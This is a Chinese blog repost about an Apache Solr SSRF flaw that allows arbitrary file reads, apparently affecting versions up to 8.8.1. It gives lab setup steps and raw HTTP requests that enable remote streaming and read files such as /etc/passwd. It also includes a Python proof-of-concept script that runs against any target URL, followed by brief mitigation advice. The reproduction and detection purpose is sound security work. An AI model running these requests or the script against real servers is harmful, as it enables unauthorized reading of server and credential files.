我是靠谱客的博主 拉长草莓,最近开发中收集的这篇文章主要介绍Apache Solr SSRF文件读取漏洞一. 漏洞描述二. 影响版本三. 漏洞复现四. 漏洞检测POC五. 漏洞修复,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

目录

一. 漏洞描述

二. 影响版本

三. 漏洞复现

1. 复现条件

2. windows下搭建漏洞环境

3. 漏洞测试

四. 漏洞检测POC

五. 漏洞修复


一. 漏洞描述

       Apache Solr是一个开源的搜索服务,使用Java编写、运行在Servlet容器的一个独立的全文搜索服务器,是Apache Lucene项目的开源企业搜索平台。

       该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。

二. 影响版本

  • Apache Solr <=8.8.1 (latest)   ,通杀所有版本,官方拒绝修复

三. 漏洞复现

1. 复现条件

  • Apache Solr <= 8.8.1
  • 存在至少一个core(至少存在一个core的原因:url中的core_name是Solr中的已经创建的core的名字,我们刚下载来的Solr默认是没有core的,因此需要创建)

2. windows下搭建漏洞环境

搭建solr8.8.1版本

首先从Apache Solr官网下载最新的Solr 8.8.1:https://solr.apache.org/downloads.html

解压完成后,进入bin目录,执行

solr start -p 8983

访问ip:8983端口

或者用docker搭建,docker-compose.yml文件如下。但是经过测试使用docker搭建的环境进行漏洞复现存在问题,所以这里不能用docker进行环境搭建。

version: '2'
services:
 solr:
   command: solr-demo
   image: solr:8.8.1
   ports:
    - "8983:8983"

3. 漏洞测试

1. 创建core

因为刚下载的环境是没有core的,所以需要先创建一个core进行复现。点击左侧的Core Admin来创建一个Core,可以发现报错

此时Solr已经在server/solr目录下已经创建了名字为new_core的文件夹,我们只需要把server/solr/configsets_default文件夹下的conf目录整个拷贝到new_core文件夹下,即可

复制过去后,再点击刚才那个Add Core发现可以创建成功了,如下

2. 获取core名字

通过http://127.0.0.1:8984/solr/admin/cores?indexInfo=false&wt=json ,可以看到新建的core的名字为new_core

3. 发送请求

这一步可以测试是否存在漏洞,响应码为200,说明远程读取流文件配置开启成功

使用burp发送以下请求包,ip要对应:

GET /solr/获取的core名/config HTTP/1.1
Host: ip:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type:application/json
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 82

{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

结果:

4. 进行文件读取

可以跳过步骤3直接执行这一步进行文件读取

GET /solr/获取的core名字/debug/dump?param=ContentStreams HTTP/1.1
Host: ip:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 29

stream.url=file://想要读取的文件名称

如读取本机的hosts的文件

四. 漏洞检测POC

#author:xcc
import requests
import argparse
from colorama import init
import os
import json
from requests.packages import urllib3
urllib3.disable_warnings()
init(autoreset=True)
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'
}
def url():
	des="33[0;32m[-]Apache Solr SSRF文件读取漏洞POC"
	parser = argparse.ArgumentParser(description=des)
	parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:8090')
	args = parser.parse_args() 
	target_url = args.target_url
	print("33[0;32mApache Solr SSRF文件读取漏洞POC")
	print("[-]正在执行检测...")
	print(f"[-]目标地址:33[0;32m{target_url}33[0m",)
	return target_url
def get_core(target_url):
	try:
		core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json"
		response = requests.get(url=core_url,headers=headers,timeout=5)
		core_name = list(json.loads(response.text)['status'])[0] #将json数据转换为字典,再转换为列表获取core值
		print(f'[-]获取core值成功:33[0;32m{core_name}33[0m')
		return core_name
	except Exception as error:
		print('33[0;32m[-]漏洞不存在33[0m',error)
		os._exit(0)

def get_file(target_url,core_name):
	file1 = '/etc/passwd'	#Linux系统
	file2 = '/C:/Windows/System32/drivers/etc/hosts'	#windows系统
	data1 = f"stream.url=file://{file1}"
	data2 = f"stream.url=file://{file2}"
	vuln_url = target_url + f"/solr/{core_name}/debug/dump?param=ContentStreams"
	headers2={
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0',
		'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
		'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
		'Accept-Encoding': 'gzip, deflate',
		'Content-Type': 'application/x-www-form-urlencoded',
		'Connection': 'close',
		'Upgrade-Insecure-Requests': '1'
		}
	print("[-]正在发送post数据包进行漏洞验证...")
	try:
		#Linux系统判断
		response1 = requests.post(url=vuln_url,headers=headers,data=data1,verify=False,timeout=8)
		if response1.status_code==200 and "root:x" in response1.text:
			result1 = True
		else:
			result1 = False
			pass
	except:
		result1 = False
		pass
		#windows系统判断
	try:
		response2 = requests.post(url=vuln_url,headers=headers2,data=data2,verify=False,timeout=8)
		if response2.status_code==200 and "localhost" in response2.text:
			result2 = True
		else:
			result2 = False
			pass
	except:
		result2 = False
		pass
	#漏洞判断
	if result1 or result2:
		print('33[0;31m[+]漏洞存在33[0m')
	else:
		print('33[0;32m[+]漏洞不存在33[0m')

if __name__ == '__main__':
	#url()
	target_url = url()
	core_name = get_core(target_url)
	get_file(target_url,core_name)

五. 漏洞修复

  • 将 Solr 端口仅对内网开放,并配置访问策略
  • 无修复版本(好像是官方拒绝修复,呜呜~~)

——心,若没有栖息的地方,到哪都是流浪

最后

以上就是拉长草莓为你收集整理的Apache Solr SSRF文件读取漏洞一. 漏洞描述二. 影响版本三. 漏洞复现四. 漏洞检测POC五. 漏洞修复的全部内容,希望文章能够帮你解决Apache Solr SSRF文件读取漏洞一. 漏洞描述二. 影响版本三. 漏洞复现四. 漏洞检测POC五. 漏洞修复所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(34)

评论列表共有 0 条评论

立即
投稿
返回
顶部